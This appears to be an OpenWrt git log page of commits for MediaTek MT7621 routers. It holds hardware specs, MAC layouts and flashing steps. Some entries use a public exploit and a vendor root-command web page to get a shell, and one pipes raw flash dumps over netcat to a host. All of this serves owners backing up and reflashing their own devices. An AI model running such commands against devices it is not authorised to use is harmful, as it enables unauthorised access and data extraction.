aboutsummaryrefslogtreecommitdiffstats
path: root/target/linux/ramips/mt7621
Commit message (Collapse)AuthorAgeFilesLines
* ramips: add support for D-Link DIR-882 R1Andrew Pikler2020-12-221-1/+2
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Specifications: - SoC: MediaTek MT7621AT - RAM: 128 MB (DDR3) - Flash: 16 MB (SPI NOR) - WiFi: MediaTek MT7615N (x2) - Switch: 1 WAN, 4 LAN (Gigabit) - Ports: 1 USB 2.0, 1 USB 3.0 - Buttons: Reset, WiFi Toggle, WPS - LEDs: Power, Internet, WiFi 2.4G WiFi 5G, USB 2.0, USB 3.0 The R1 revision is identical to the A1 revision except - No Config2 Parition, therefore - factory partition resized to 64k from 128K - Firmware partition offset is 0x50000 not 0x60000 - Firmware partitions size increased by 64K - Firmware partition type is "denx,uimage", not "sge,uimage" - Padding of image creation "uimage-padhdr 96" removed Installation: - Older firmware versions: put the factory image on a USB stick, turn on the telnet console, and flash using the following cmd "fw_updater Linux /mnt/usb_X_X/firmware.bin" - D-Link FailsafeUI: Power down the router, press and hold the reset button, then re-plug it. Keep the reset button pressed until the internet LED stops flashing, then jack into any lan port and manually assign a static IP address in 192.168.0.0/24 other than 192.168.0.0 (e.g. 192.168.0.2) and go to http://192.168.0.1 Flash with the factory image. Signed-off-by: Andrew Pikler <andrew.pikler@gmail.com>
* kernel: move some disabled symbols to genericAleksander Jan Bajkowski2020-12-221-3/+0
| | | | | | Move some disabled config options found in lantiq target to generic. Signed-off-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
* treewide: fix initramfs detectionRobert Marko2020-12-201-1/+1
| | | | | | | | | | | | | | | | Commit "initramfs: switch to tmpfs to fix ujail" switched initramfs to now use tmpfs, it causes $(rootfs_type) to now return tmpfs when running initramfs image instead of being empty. This broke initramfs detection which is required so that when installing on MikroTik devices firmware partition would first get erased fully before writing. So, lets test for $(rootfs_type) returning "tmpfs" instead. Fixes: 7fd3c68 ("initramfs: switch to tmpfs to fix ujail) Signed-off-by: Robert Marko <robimarko@gmail.com>
* ramips: add support for GL.iNet GL-MT1300Xinfa Deng2020-12-172-0/+5
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The GL-MT1300 is a high-performance new generation pocket-sized router that offers a powerful hardware and first-class cybersecurity protocol with unique and modern design. Specifications: - SoC: MT7621A, Dual-Core @880MHz - RAM: 256 MB DDR3 - Flash: 32 MB - Ethernet: 3 x 10/100/1000: 2 x LAN + 1 x WAN - Wireless: 1 x MT7615D Dual-Band 2.4GHz(400Mbps) + 5GHz(867Mbps) - USB: 1 x USB 3.0 port - Slot: 1 x MicroSD card slot - Button: 1 x Reset button - Switch: 1 x Mode switch - LED: 1 x Blue LED + 1 x White LED MAC addresses based on vendor firmware: WAN : factory 0x4000 LAN : Mac from factory 0x4000 + 1 2.4GHz : factory 0x4 5GHz : Mac form factory 0x4 + 1 Flashing instructions: 1.Connect to one of LAN ports. 2.Set the static IP on the PC to 192.168.1.2. 3.Press the Reset button and power the device (do not release the button). After waiting for the blue led to flash 5 times, the white led will come on and release the button. 4.Browse the 192.168.1.1 web page and update firmware according to web tips. 5.The blue led will flash when the firmware is being upgraded. 6.The blue led stops blinking to indicate that the firmware upgrade is complete and U-Boot automatically starts the firmware. For more information on GL-MT1300, see the OFFICIAL GL.iNet website: https://www.gl-inet.com/products/gl-mt1300/ Signed-off-by: Xinfa Deng <xinfa.deng@gl-inet.com> [add input-type for switch, wrap long line in 10_fix_wifi_mac] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: use full names for Xiaomi Mi Router devicesAdrian Schmutzler2020-12-082-5/+5
| | | | | | | | | | This aligns the device/image names of the older Xiaomi Mi Router devices with their "friendly" model and DEVICE_MODEL properties. This also reintroduces consistency with the newer devices already following that scheme. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for ASUS RT-N56U B1Pavel Chervontsev2020-11-281-0/+4
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Specifications: SoC: MediaTek MT7621ST (880 MHz) FLASH: 16 MiB (Macronix MX25L12835FM2I-10G) RAM: 128 MiB (Nanya NT5CB64M16FP-DH) WiFi: MediaTek MT7603EN bgn 2x2:2 WiFi: MediaTek MT7612EN an 2x2:2 BTN: Reset, WPS LED: - Power - WiFi 2.4 GHz - WiFi 5 GHz - WAN - LAN {1-4} - USB {1-2} UART: UART is present as pin hole next to the aluminium capacitor. 3V3 - RX - GND - TX / 115200-8N1 3V3 is the nearest on the aluminium capacitor and nut hole (pin1). USB: 2 ports POWER: 12VDC, 1.5A (Barrel 5.5x2.1) Installation: Via TFTP: Set your computers IP-Address to 192.168.1.75 Power up the Router with the Reset button pressed. Release the Reset button after 5 seconds. Upload OpenWRT sysupgrade image via TFTP: tftp -4 -v -m binary 192.168.1.1 -c put IMAGE MAC addresses: 0x4 *:98 2g/wan, label 0x22 *:9c 0x28 *:98 0x8004 *:9c 5g/lan Though addresses are written to 0x22 and 0x28, it appears that the vendor firmware actually only uses 0x4 and 0x8004. Thus, we do the same here. Signed-off-by: Pavel Chervontsev <cherpash@gmail.com> [add MAC address overview, add label-mac-device, fix IMAGE_SIZE] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: mt7621: fix Telco X1 GPIO switchesDENG Qingfang2020-11-161-1/+1
| | | | | | | The GPIO base of MT7621 GPIO 0~31 is 480 on kernel 5.4 Fix the GPIO numbering. Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
* ramips: add Xiaomi Mi Router 4A Gigabit explicitlyAdrian Schmutzler2020-11-121-1/+2
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This device has previously been supported by the image for Xiaomi Mi Router 3G v2. Since this is not obvious, the 4A is marketed as a new major revision and it also seems to have a different bootloader, this will be both more tidy and more helpful for the users. Apart from that, note that there also is a 100M version of the device that uses mt7628 platform, so a specifically named image will also prevent confusion in this area. Specifications: - SoC: MediaTek MT7621 - Flash: 16 MiB NOR SPI - RAM: 128 MiB DDR3 - Ethernet: 3x 10/100/1000 Mbps (switched, 2xLAN + WAN) - WIFI0: MT7603E 2.4GHz 802.11b/g/n - WIFI1: MT7612E 5GHz 802.11ac - Antennas: 4x external (2 per radio), non-detachable - LEDs: Programmable "power" LED (two-coloured, yellow/blue) Non-programmable "internet" LED (shows WAN activity) - Buttons: Reset Installation: Bootloader won't accept any serial input unless "boot_wait" u-boot environment variable is changed to "on". Vendor firmware won't accept any serial input until "uart_en" is set to "1". Using the https://github.com/acecilia/OpenWRTInvasion exploit you can gain access to shell to enable these options: To enable uart keyboard actions - 'nvram set uart_en=1' To make uboot delay boot work - 'nvram set boot_wait=on' Set boot delay to 5 - 'nvram set bootdelay=5' Then run 'nvram commit' to make the changes permanent. Once in the shell (following the OpenWRTInvasion instructions) you can then run the following to flash OpenWrt and then reboot: 'cd /tmp; curl https://downloads.openwrt.org/...-sysupgrade.bin --output firmware.bin; mtd -e OS1 -r write firmware.bin OS1' Suggested-by: David Bentham <db260179@gmail.com> Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for D-Link DIR-2640 A1James McGuire2020-11-112-0/+2
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This patch adds support for D-Link DIR-2640 A1. Specifications: * Board: AP-MTKH7-0002 * SoC: MediaTek MT7621AT * RAM: 256 MB (DDR3) * Flash: 128 MB (NAND) * WiFi: MediaTek MT7615N (x2) * Switch: 1 WAN, 4 LAN (Gigabit) * Ports: 1 USB 2.0, 1 USB 3.0 * Buttons: Reset, WPS * LEDs: Power (blue/orange), Internet (blue/orange), WiFi 2.4G (blue), WiFi 5G (blue), USB 3.0 (blue), USB 2.0 (blue) Notes: * WiFi 2.4G and WiFi 5G LEDs are wired directly to the wireless chips Installation: * D-Link Recovery GUI: power down the router, press and hold the reset button, then re-plug it. Keep the reset button pressed until the power LED starts flashing orange, manually assign a static IP address under the 192.168.0.xxx subnet (e.g. 192.168.0.2) and go to http://192.168.0.1 * Some modern browsers may have problems flashing via the Recovery GUI, if that occurs consider uploading the firmware through cURL: curl -v -i -F "firmware=@file.bin" 192.168.0.1 MAC addresses: lan factory 0xe000 *:a7 (label) wan factory 0xe006 *:aa 2.4 factory 0xe000 +1 *:a8 5.0 factory 0xe000 +2 *:a9 Seems like vendor didn't replace the dummy entries in the calibration data. Signed-off-by: James McGuire <jamesm51@gmail.com> [fix device definition title] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* mt7621: mikrotik: use vmlinuz (zBoot ELF)John Thomson2020-10-291-0/+3
| | | | | | | | | | | | - minimal built initramfs: 11MB vmlinux ELF -> 4.5MB vmlinuz - ~5 seconds for kernel decompression, which was equivalent to the additional time to load the uncompressed ELF from SPI NOR. - Removes requirement for lzma-loader, which may have been causing some image builds to fail to boot on Mikrotik mt7621. Fixes: FS#3354 Suggested-by: Thibaut VARÈNE <hacks@slashdirt.org> Signed-off-by: John Thomson <git@johnthomson.fastmail.com.au>
* ramips: remove set_wifi_led function in 01_ledsAdrian Schmutzler2020-10-021-4/+0
| | | | | | | | | | | | | | | | | | | While we mostly use the ucidef_set_led_* functions directly in 01_leds we still have the set_wifi_led function in parallel for several old devices. This is not only inconsistent with the other definitions, it also links to the wlan0 interface instead of using a phy trigger which would be independent of the interface name (and is used for all newer devices anyway). Apart from that, the standard names "wifi" and "wifi-led" are not very helpful in a world with different radio bands either. Thus, this patch removes the set_wifi_led function and puts the relevant commands into the cases explicitly. This makes the mechanism used more evident and will hopefully lead to some future improvements or at least prevent some copy-pasting of the old setups. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: remove option to set WiFi LED via aliasesAdrian Schmutzler2020-10-021-3/+0
| | | | | | | | | | | | | In ramips, it's not common to use an alias for specifying the WiFi LED; actually only one device uses this mechanism (TL-WR841N v14). Particularly since the WiFi LEDs are typically distinguished between 2.4G and 5G etc. it is also not very useful for this target. Thus, this patch removes the setup lines for this mechanism and converts the TL-WR841N v14 to the normal setup. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: remove model name from LED labelsAdrian Schmutzler2020-10-022-68/+37
| | | | | | | | | | | | | | | | | Like in the previous patch for ath79 target, this will remove the "devicename" from LED labels in ramips as well. The devicename is removed in DTS files and 01_leds, consolidation of definitions into DTSI files is done where (easily) possible, and migration scripts are updated. For the latter, all existing definitions were actually just devicename migrations anyway. Therefore, those are removed and a common migration file is created in target base-files. This is actually another example of how the devicename removal makes things easier. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for Linksys EA7300 v2J. Scott Heppler2020-09-235-0/+5
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This submission relied heavily on the work of Santiago Rodriguez-Papa <contact at rodsan.dev> Specifications: * SoC: MediaTek MT7621A (880 MHz 2c/4t) * RAM: Winbond W632GG6MB-12 (256M DDR3-1600) * Flash: Winbond W29N01HVSINA (128M NAND) * Eth: MediaTek MT7621A (10/100/1000 Mbps x5) * Radio: MT7603E/MT7615N (2.4 GHz & 5 GHz) 4 antennae: 1 internal and 3 non-deatachable * USB: 3.0 (x1) * LEDs: White (x1 logo) Green (x6 eth + wps) Orange (x5, hardware-bound) * Buttons: Reset (x1) WPS (x1) Installation: Flash factory image through GUI. This might fail due to the A/B nature of this device. When flashing, OEM firmware writes over the non-booted partition. If booted from 'A', flashing over 'B' won't work. To get around this, you should flash the OEM image over itself. This will then boot the router from 'B' and allow you to flash OpenWRT without problems. Reverting to factory firmware: Hard-reset the router three times to force it to boot from 'B.' This is where the stock firmware resides. To remove any traces of OpenWRT from your router simply flash the OEM image at this point. Signed-off-by: J. Scott Heppler <shep971@centurylink.net>
* treewide: revert sysupgrade adjustments for early DSA-adoptersAdrian Schmutzler2020-09-081-8/+0
| | | | | | | | | | | | | | | | | The uci-default mechanism to update the compat-version was only meant for early DSA-adopters, which should have updated by now. Remove this workaround again in order to prevent the intended experiences for all the other people. This reverts: a9703db72030 ("mvebu: fix sysupgrade experience for early DSA-adopters") 86c89bf5e8f5 ("kirkwood: fix sysupgrade experience for early DSA-adopters") Partially reverted: 1eac573b5304 ("ramips: mt7621: implement compatibility version for DSA migration") Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for D-Link DIR-2660 A1Josh Bendavid2020-09-062-1/+3
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This patch adds support for D-Link DIR-2660 A1. Specifications: * Board: AP-MTKH7-0002 * SoC: MediaTek MT7621AT * RAM: 256 MB (DDR3) * Flash: 128 MB (NAND) * WiFi: MediaTek MT7615N (x2) * Switch: 1 WAN, 4 LAN (Gigabit) * Ports: 1 USB 2.0, 1 USB 3.0 * Buttons: Reset, WPS * LEDs: Power (white/orange), Internet (white/orange), WiFi 2.4G (white), WiFi 5G (white), USB 3.0 (white), USB 2.0 (white) Notes: * WiFi 2.4G and WiFi 5G LEDs are wired directly to the wireless chips Installation: * D-Link Recovery GUI: power down the router, press and hold the reset button, then re-plug it. Keep the reset button pressed until the power LED starts flashing orange, manually assign a static IP address under the 192.168.0.xxx subnet (e.g. 192.168.0.2) and go to http://192.168.0.1 * Some modern browsers may have problems flashing via the Recovery GUI, if that occurs consider uploading the firmware through cURL: curl -v -i -F "firmware=@file.bin" 192.168.0.1 MAC addresses: lan factory 0xe000 *:a7 (label) wan factory 0xe006 *:aa 2.4 factory 0xe000 +1 *:a8 5.0 factory 0xe000 +2 *:a9 Seems like vendor didn't replace the dummy entries in the calibration data. Signed-off-by: Josh Bendavid <joshbendavid@gmail.com> [rebase onto already merged DIR-1960 A1, add MAC addresses to commit message] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for Wavlink WL-WN531A6Georgi Vlaev2020-08-281-0/+1
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This patch adds support for Wavlink WL-WN531A6 (Quantum D6). Specifications: -------------- * SoC: Mediatek MT7621AT 2C2T, 880MHz * RAM: 128MB DDR3, Nanya NT5CB64M16GP-EK * Flash: 16MB SPI NOR flash, GigaDevice GD25Q127CSIG * WiFi 5GHz: Mediatek MT7615N (4x4:4) on mini PCIE slot. * WiFi 2.4GHz: Mediatek MT7603EN (2x2:2) on mini PCIE slot. * Ethernet: MT7630, 5x 1000Base-T * LED: Power, WAN, LAN(x4), WiFi, WPS, dual color "WAVLINK" LED logo on the top cover. * Buttons: Reset, WPS, "Turbo", touch button on the top cover via RH6015C touch sensor. * UART: UART1: serial console (57600 8n1) on the J4 header located below the top heatsink. UART2: J12 header, located on the right side of the board. * USB: One USB3 port. * I2C: J9 header, located below the top heatsink. Backup the OEM Firmware: ----------------------- There isn't any firmware released for the WL-WN531A6 on the Wavlink web site. Reverting back to the OEM firmware is not possible unless we have a backup of the original OEM firmware. The OEM firmware is stored on /dev/mtd4 ("Kernel"). 1) Plug a FAT32 formatted USB flash drive into the USB port. 2) Navigate to "Setup->USB Storage". Under the "Available Network folder" you can see part of the mount point of the newly mounted flash drive filesystem - e.g "sda1". The full mount point is prefixed with "/media", so in this case the mount point becomes "/media/sda1". 3) Go to http://192.168.10.1/webcmd.shtml . 4) Type the following line in the "Command" input box: dd if=/dev/mtd4ro of=/media/sda1/firmware.bin 5) Click "Apply" 6) After few seconds, in the text area should appear this output: 30080+0 records in 30080+0 records out 7) Type "sync" in the "Command" input box and click "Apply". 8) At this point the OEM firmware is stored on the flash drive as "firmware.bin". The size of the file is 15040 KB. Installation: ------------ * Flashing instructions (OEM web interface): The OEM web interface accepts only files with names containing "WN531A6". It's also impossible to flash the *-sysupgrade.bin image, so we have to flash the *-initramfs-kernel.bin first and use the OpenWrt's upgrade interface to write the sysupgrade image. 1) Rename openwrt-ramips-mt7621-wavlink_wl-wn531a6-initramfs-kernel.bin to WN531A6.bin. 2) Connect your computer to the one of the LAN ports of the router with an Ethernet cable and open http://192.168.10.1 3) Browse to Setup -> Firmware Upgrade interface. 4) Upload the (renamed) OpenWrt image - WN531A6.bin. 5) Proceed with the firmware installation and give the device a few minutes to finish and reboot. 6) After reboot wait for the "WAVLINK" logo on the top cover to turn solid blue, and open http://192.168.1.1 7) Use the OpenWrt's "Flash Firmware" interface to write the OpenWrt sysupgrade image: openwrt-ramips-mt7621-wavlink_wl-wn531a6-squashfs-sysupgrade.bin * Flashing instructions (u-boot TFTP): 1) Configure a TFTP server on your computer and set its IP to 192.168.10.100 2) Rename the OpenWrt sysupgrade image to firmware.bin and place it in the root folder of the TFTP server. 3) Power off the device and connect an Ethernet cable from one of its LAN ports your computer. 4) Press the "Reset" button (and keep it pressed) 5) Power on the device. 6) After a few seconds, when the connected port LAN LED stops blinking fast, release the "Reset" button. 7) Flashing OpenWrt takes less than a minute, system will reboot automatically. 8) After reboot the WAVLINK logo on the top cover will indicate the current OpenWrt running status (wait until the logo tunrs solid blue). Revert to the OEM Firmware: -------------------------- * U-boot TFTP: Follow "Flashing instructions (u-boot TFTP)" and use the "firmware.bin" backup image. * OpenWrt "Flash Firmware" interface: Upload the "firmware.bin" backup image and select "Force update" before continuing. Notes: ----- * The MAC address shown on the label at the back of the device is assigned to the 2.4G WiFi adapter. MAC addresses assigned by the OEM firmware: 2.4G: *:XX (label): factory@0x0004 5G: *:XX + 1 : factory@0x8004 WAN: *:XX - 1 : factory@0xe006 LAN: *:XX - 2 : factory@0xe000 * The I2C bus and UART2 are fully functional. The headers are not populated. Signed-off-by: Georgi Vlaev <georgi.vlaev@konsulko.com>
* treewide: use wpad-basic-wolfssl as defaultPetr Štetiar2020-08-201-1/+1
| | | | | | | | | | | | | | | In order to support SAE/WPA3-Personal in default images. Replace almost all occurencies of wpad-basic and wpad-mini with wpad-basic-wolfssl for consistency. Keep out ar71xx from the list as it won't be in the next release and would only make backports harder. Build-tested (build-bot settings): ath79: generic, ramips: mt7620/mt76x8/rt305x, lantiq: xrx200/xway, sunxi: a53 Signed-off-by: Petr Štetiar <ynezz@true.cz> [rebase, extend commit message] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: fix LED labels for Asus RT-AC65PAdrian Schmutzler2020-08-171-0/+3
| | | | | | | | | | | | | The leds block was copied over from the RT-AC85P DTS to the common DTSI while keeping the device-specific model name in the label. This moves the LEDs back to the DTS files and adjusts the names to properly resemble the model name of the devices used at, just like it is handled on most other devices. Fixes: 7c5f712e4fec ("ramips: add support for Asus RT-AC65P") Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for MikroTik RouterBOARD 760iGS (hEX S)John Thomson2020-08-134-0/+11
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This patch adds support for the MikroTik RouterBOARD 760iGS router. It is similar to the already supported RouterBOARD 750Gr3. The 760iGS device features an added SFP cage, and passive PoE out on port 5 compared to the RB750Gr3. https://mikrotik.com/product/hex_s Specifications: - SoC: MediaTek MT7621A - CPU: 880MHz - Flash: 16 MB - RAM: 256 MB - Ethernet: 5x 10/100/1000 Mbps - SFP cage - USB port - microSD slot Unsupported: - Beeper (requires PWM driver) - ZT2046Q (ADS7846 compatible) on SPI as slave 1 (CS1) The linux driver requires an interrupt, and pendown GPIO These are unknown, and not needed with the touchscreen only used for temperature and voltage monitoring. ads7846 hwmon: temp0 is degrees Celsius temp1 is voltage * 32 GPIOs: - 07: input passive PoE out (lan5) compatible (Mikrotik) device connected - 17: output passive PoE out (lan5) switch Installation through RouterBoot follows the usual MikroTik method https://openwrt.org/toh/mikrotik/common To boot to intramfs image in RAM: 1. Setup TFTP server to serve intramfs image. 2. Plug Ethernet cable into WAN port. 3. Unplug power, hold reset button and plug power in. Wait (~25 seconds) for beep and then release reset button. The SFP LED will be lit in RouterBoot, but will not be lit in OpenWRT. 4. Wait for a minute. Router should be running OpenWrt, check by plugging in to port 2-5 and going to 192.168.1.1. To install OpenWrt to flash: 1. Follow steps above to boot intramfs image in RAM. 2. Flash the sysupgrade.bin image with web interface or sysupgrade. 3. Once the router reboots you will be running OpenWrt from flash. OEM firmware differences: - RouterOS assigns a different MAC address for each port - The first address (E01 on the sticker) is used for wan (ether1 in OEM). - The next address is used for lan2. - The last address (E06 on the sticker) is used for sfp. [Initial port work, shared dtsi] Signed-off-by: Vince Grassia <vincenzo.grassia@zionark.com> [SFP support and GPIO identification] Signed-off-by: Luka Logar <luka.logar@iname.com> [Misc. fixes and submission] Signed-off-by: John Thomson <git@johnthomson.fastmail.com.au> [rebase, drop uart3 from state_default on 750gr3, minor commit title/message facelift] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: mt7621: implement compatibility version for DSA migrationAdrian Schmutzler2020-08-082-0/+27
| | | | | | | | | | | | | | | | | | | This implements the newly introduced compat-version to prevent broken upgrade between swconfig and DSA for ramips' mt7621 subtarget. In order to make the situation more transparent for the user, and to prevent large switch-cases for devices, it is more convenient to have the entire subtarget 1.1-by-default. This means that new devices will be added with 1.1 from the start, but in contrast we don't need to switch them in board.d files. Apart from that, users that manually backport devices to 19.07 with swconfig will have an equivalent upgrade experience to officially supported devices. Since DSA support on mt7621 is out for a while already, this applies the same uci-defaults workaround for early adopters as already done for kirkwood and mvebu in previous commits. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: invert wpad selection for mt7621Adrian Schmutzler2020-08-071-0/+2
| | | | | | | | | | | | | | | | | | | For ramips/mt7621, the wpad-basic package is not selected by default, but added for every device individually as needed. While this might be technically correct if the SoC does not come with a Wifi module, only 18 of 97 devices for that platform are set up _without_ wpad-basic currently. Therefore, it seems more convenient to add wpad-basic by default for the subtarget and then just remove it for the 18 mentioned devices, instead of having to add it for about 60 times instead. This would also match the behavior of the 5 other subtargets, where wpad-basic/wpad-mini is added by default as well, and thus be more obvious to developers without detailed SoC knowledge. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* kernel: unify CONFIG_GPIO_SYSFS in kernel configsFelix Fietkau2020-08-061-1/+0
| | | | | | Enable it for all platforms Signed-off-by: Felix Fietkau <nbd@nbd.name>
* ramips: switch rt305x subtarget to kernel 5.4Alexey Dobrovolsky2020-08-051-2/+0
| | | | | | | | | | | | | | RT3x5x seems to work fine with kernel 5.4. Set the default kernel version to 5.4 to bring this to a broader audience. Since 4 of 6 targets are on kernel 5.4 now, invert the kernel version setup logic in Makefile/target.mk files. Tested on ZyXEL Keenetic. Signed-off-by: Alexey Dobrovolsky <dobrovolskiy.alexey@gmail.com> [invert version setup logic] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* target: replace remaining occurrences of ifconfig with ipAdrian Schmutzler2020-08-031-1/+1
| | | | | | | | | | | ifconfig is effectively deprecated for quite some time now. Let's replace the remaining occurrences for our target setup by the corresponding ip commands now. Note that this does not touch ar71xx, as it will be dropped anyway, and changing it would only make backports harder. Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for D-Link DIR-1960 A1Josh Bendavid2020-07-272-0/+4
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This patch adds support for D-Link DIR-1960 A1. Given the similarity with the DIR-1760/2660 A1, this patch also introduces a common DTSI which can be shared with these devices, with support to be added in future commits. Specifications: * Board: AP-MTKH7-0002 * SoC: MediaTek MT7621AT * RAM: 256 MB (DDR3) * Flash: 128 MB (NAND) * WiFi: MediaTek MT7615N (x2) * Switch: 1 WAN, 4 LAN (Gigabit) * Ports: 1 USB 3.0 * Buttons: Reset, WPS * LEDs: Power (white/orange), Internet (white/orange), WiFi 2.4G (white), WiFi 5G (white), USB 3.0 (white) Notes: * WiFi 2.4G and WiFi 5G LEDs are wired directly to the wireless chips Installation: * D-Link Recovery GUI: power down the router, press and hold the reset button, then re-plug it. Keep the reset button pressed until the power LED starts flashing orange, manually assign a static IP address under the 192.168.0.xxx subnet (e.g. 192.168.0.2) and go to http://192.168.0.1 * Some modern browsers may have problems flashing via the Recovery GUI, if that occurs consider uploading the firmware through cURL: curl -v -i -F "firmware=@file.bin" 192.168.0.1 MAC addresses: lan factory 0xe000 *:EB (label) wan factory 0xe006 *:EE 2.4 factory 0xe000 +1 *:EC 5.0 factory 0xe000 +2 *:ED Seems like vendor didn't replace the dummy entrys in the calibration data. Signed-off-by: Josh Bendavid <joshbendavid@gmail.com> [fix whitespace issues, create patch to merge DIR-1960 first, move special WiFi MAC settings to DTS, extend commit message] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: remove non-existant poe_passthrough for RouterBOARD 750Gr3John Thomson2020-07-251-3/+0
| | | | | | | | | | | | | | | | This 750gr3 GPIO17 switch was added based on vendor source, but only the 760iGS (which shares the rbsysfs board identifier) device has the physical wiring. The 750Gr3 actually does not support PoE out. Apart from that, note that the gpio base (480) would have required this GPIO to be referenced as 497 if it was kept. Fixes: 6ba58b7b020c ("ramips: cleanup the RB750Gr3 support") Signed-off-by: John Thomson <git@johnthomson.fastmail.com.au> [commit title/message facelift] Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* ramips: add support for Winstars WS-WN583A6Davide Fioravanti2020-07-251-1/+3
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | The Winstars WS-WN583A6 is a wireless repeater with 2 gigabit ethernet ports. Even if mine is branded as "Gemeita AC2100", the sticker on the back says WS-WN583A6. So I will refer to it as Winstars WS-WN583A6. Probably the real product name is the Wavlink WL-WN583A6 because of the many references to Wavlink in the OEM firmware and bootlog. Hardware -------- SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads) RAM: 128MB FLASH: 8MB NOR (GigaDevice GD25Q64B) ETH: 2x 10/100/1000 Mbps Ethernet (MT7530) WIFI: - 2.4GHz: 1x MT7603E (2x2:2) - 5GHz: 1x MT7615E (4x4:4) - 6 internal antennas BTN: - 1x Reset button - 1x WPS button - 1x ON/OFF switch (working but unmodifiable) - 1x Auto/Schedule switch (working but unmodifiable. Read Note #3) LEDS: - 1x White led - 1x Red led - 1x Amber led - 1x Blue led - 2x Blue leds (lan and wan port status: working but unmodifiable) UART: - 57600-8-N-1 Everything works correctly. Currently there is no firmware update available. Because of this, in order to restore the OEM firmware, you must firstly dump the OEM firmware from your router before you flash the OpenWrt image. Backup the OEM Firmware ----------------------- The following steps are to be intended for users having little to none experience in linux. Obviously there are many ways to backup the OEM firmware, but probably this is the easiest way for this router. Procedure tested on M83A6.V5030.191210 firmware version. 1) Go to http://192.168.10.1/webcmd.shtml 2) Type the following line in the "Command" input box: mkdir /etc_ro/lighttpd/www/dev; for i in /dev/mtd*ro; do dd if=${i} of=/etc_ro/lighttpd/www${i}; done 3) Click "Apply" 4) After few seconds, in the textarea should appear this output: 16384+0 records in 16384+0 records out 8388608 bytes (8.0MB) copied, 4.038820 seconds, 2.0MB/s 384+0 records in 384+0 records out 196608 bytes (192.0KB) copied, 0.095180 seconds, 2.0MB/s 128+0 records in 128+0 records out 65536 bytes (64.0KB) copied, 0.032020 seconds, 2.0MB/s 128+0 records in 128+0 records out 65536 bytes (64.0KB) copied, 0.031760 seconds, 2.0MB/s 15744+0 records in 15744+0 records out 8060928 bytes (7.7MB) copied, 3.885280 seconds, 2.0MB/s dd: can't open '/dev/mtd5ro': No such device dd: can't open '/dev/mtd6ro': No such device dd: can't open '/dev/mtd7ro': No such device Excluding the "X.XXXXXX seconds" part, you should get the same exact output. If your output doesn't match mine, stop reading and ask for help in the forum. 5) Open the following links to download the partitions of the OEM FW: http://192.168.10.1/dev/mtd0ro http://192.168.10.1/dev/mtd1ro http://192.168.10.1/dev/mtd2ro http://192.168.10.1/dev/mtd3ro http://192.168.10.1/dev/mtd4ro If one (or more) of these files weight 0 byte, stop reading and ask for help in the forum. 6) Store these downloaded files in a safe place. 7) Reboot your router to remove any temporary file from your router. Installation ------------ Flash the initramfs image in the OEM firmware interface. When openwrt boots, flash the sysupgrade image otherwise you won't be able to keep configuration between reboots. Restore OEM Firmware -------------------- Flash the "mtd4ro" file you previously backed-up directly from LUCI. Warning: Remember to not keep settings! Warning2: Remember to force the flash. Notes ----- 1) The "System Command" page allows to run every command as root. For example you can use "dd" and "nc" to backup the OEM firmware. PC (SERVER): nc -l 5555 > ./mtdXro ROUTER (CLIENT): dd if=/dev/mtdXro | nc PC_IP_ADDRESS 5555 2) The OEM web interface accepts only images containing the string "WN583A6" in the filename. Currently the OEM interface accepts only the initramfs image probably because it checks if the ih_size in the image header is equal to the whole image size (instead of the kernel size) Read more here: https://forum.openwrt.org/t/support-for-strong-1200/22768/19 3) The white led (namely "Smart Night Light") can be controller by the user only if the side switch is set to "Schedule" otherwise it will be activated by the light condition (there is a photodiode on the top side of the router) 4) Router mac addresses: LAN XX:XX:XX:XX:XX:8F WAN XX:XX:XX:XX:XX:90 WIFI 2G XX:XX:XX:XX:XX:91 WIFI 5G XX:XX:XX:XX:XX:92 LABEL XX:XX:XX:XX:XX:91 